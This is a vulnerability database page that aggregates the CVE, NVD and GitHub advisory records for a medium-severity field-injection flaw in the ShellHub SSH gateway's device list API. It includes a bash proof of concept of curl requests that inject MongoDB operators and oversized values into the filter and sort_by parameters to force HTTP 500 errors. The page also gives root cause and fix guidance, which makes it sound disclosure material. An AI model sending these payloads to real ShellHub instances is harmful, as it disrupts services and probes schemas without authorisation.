Vulnerability-Lookup

CVE-2026-44425 (GCVE-0-2026-44425)

Vulnerability from cvelistv5 – Published: 2026-05-13 21:05 – Updated: 2026-05-14 19:52

Title

ShellHub: Crash-DoS via field injection in filter and sort-by parameters

Summary

ShellHub is a centralized SSH gateway. Prior to 0.24.2, the device list endpoint accepts user-controlled identifiers in the the name field of each filter property in the base64-encoded filter query parameter and the sort_by query parameter, which are then passed directly as BSON/SQL keys in the database layer without validation. Any authenticated user can craft payloads that cause the aggregation / query to fail and the API to return HTTP 500 with no body, with no rate limiting applied. This vulnerability is fixed in 0.24.2.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-14 16:04 UTC

CWE

CWE-20 - Improper Input Validation
CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7712 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/shellhub-io/shellhub/security/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
shellhub-io	shellhub	Affected: < 0.24.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44425

Vulnerability from fkie_nvd - Published: 2026-05-13 22:16 - Updated: 2026-06-17 10:50

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	shellhub	shellhub	*

JSON

To clipboard

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      "affectedData": [
        {
          "product": "shellhub",
          "vendor": "shellhub-io",
          "versions": [
            {
              "status": "affected",
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GHSA-47R2-V3X6-WFF9

Vulnerability from github – Published: 2026-05-06 23:28 – Updated: 2026-05-14 20:43

Summary

ShellHub has crash-DoS via field injection in filter and sort-by parameters

Details

Summary

The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

The name field of each filter property in the base64-encoded filter query parameter.
The sort_by query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity

CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions

ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name

api/store/mongo/query-options.go:140:

go conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field

Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation

fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

```bash TOKEN=

# Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ```

Confirmed field values that trigger 500: - Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a . - Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings

Observed response characteristics: HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact

Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sort_by values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.
Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
- start with $
- contain $ after a .
- contain characters outside [A-Za-z0-9_.]
- exceed a reasonable length (e.g., 64 characters)
Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).
Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.
Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...)*, (.+)+, etc.) to mitigate ReDoS.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-20",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:28:05Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 \u2014 Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 \u2014 Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller\u0027s tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=\u003cvalid-user-jwt\u003e\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c \u0027import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())\u0027 \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -\u003e 200\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]\u0027)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -\u003e 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c \u0027print(\"A\"*5000)\u0027)\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: \u003cid\u003e    \u2190 logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
  "id": "GHSA-47r2-v3x6-wff9",
  "modified": "2026-05-14T20:43:23Z",
  "published": "2026-05-06T23:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has crash-DoS via field injection in filter and sort-by parameters"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-44425 (GCVE-0-2026-44425)

FKIE_CVE-2026-44425

GHSA-47R2-V3X6-WFF9

Summary

Severity

Affected versions

Root cause

Vector 1 — Filter field name

Vector 2 — Sort-by field

Additional observation

Proof of concept (validated live against v0.24.1)

Impact

Suggested fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour